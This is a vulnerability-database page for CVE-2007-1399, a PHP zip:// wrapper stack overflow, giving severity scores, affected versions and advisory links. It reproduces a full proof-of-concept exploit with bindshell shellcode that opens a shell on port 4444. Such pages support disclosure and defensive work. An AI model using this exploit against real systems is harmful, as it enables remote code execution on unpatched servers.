CVE-2007-1399 : Detail

CVE-2007-1399

86.92%V3
Network
2007-03-10
21h00 +00:00
2017-07-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Stack-based buffer overflow in the zip:// URL wrapper in PECL ZIP 1.8.3 and earlier, as bundled with PHP 5.2.0 and 5.2.1, allows remote attackers to execute arbitrary code via a long zip:// URL, as demonstrated by actively triggering URL access from a remote PHP interpreter via avatar upload or blog pingback.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 3440

Publication date : 2007-03-08 23h00 +00:00
Author : Stefan Esser
EDB Verified : Yes

<?php //////////////////////////////////////////////////////////////////////// // _ _ _ _ ___ _ _ ___ // // | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ // // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ // // |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| // // // // Proof of concept code from the Hardened-PHP Project // // (C) Copyright 2007 Stefan Esser // // // //////////////////////////////////////////////////////////////////////// // PHP zip:// URL Wrapper Stack Buffer Overflow // //////////////////////////////////////////////////////////////////////// // This is meant as a protection against remote file inclusion. die("REMOVE THIS LINE"); // Offset of a POP EBP, RET inside the PHP binary $offset = 0x080d7da3; // linux x86 bindshell on port 4444 from Metasploit $shellcode = "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46". "\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f". "\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6". "\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06". "\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc". "\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d". "\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65"; // Align the shellcode on 4 bytes while (strlen($shellcode) % 4 != 0) $shellcode .= "X"; // Convert Offset into String and calculate size $str = pack("L", $offset); $len = 4096 + 32 - strlen($shellcode) - 400; // Construct the filename $fname = "zip://A".str_repeat("A", 400)."$shellcode".str_repeat($str, $len / 4)."#EXPLOIT"; // Trigger the EXPLOIT could also be a remote URL include fopen($fname,"a+"); ?> # milw0rm.com [2007-03-09]

Products Mentioned

Configuraton 0

Pecl_zip>>1.8.3 >> Version *

    Php>>Php >> Version 5.2.0

    Php>>Php >> Version 5.2.1

    References

    http://secunia.com/advisories/24514
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.osvdb.org/32782
    Tags : vdb-entry, x_refsource_OSVDB
    http://www.securityfocus.com/bid/22883
    Tags : vdb-entry, x_refsource_BID
    http://www.debian.org/security/2007/dsa-1330
    Tags : vendor-advisory, x_refsource_DEBIAN
    http://www.vupen.com/english/advisories/2007/0898
    Tags : vdb-entry, x_refsource_VUPEN
    http://secunia.com/advisories/24471
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://secunia.com/advisories/25938
    Tags : third-party-advisory, x_refsource_SECUNIA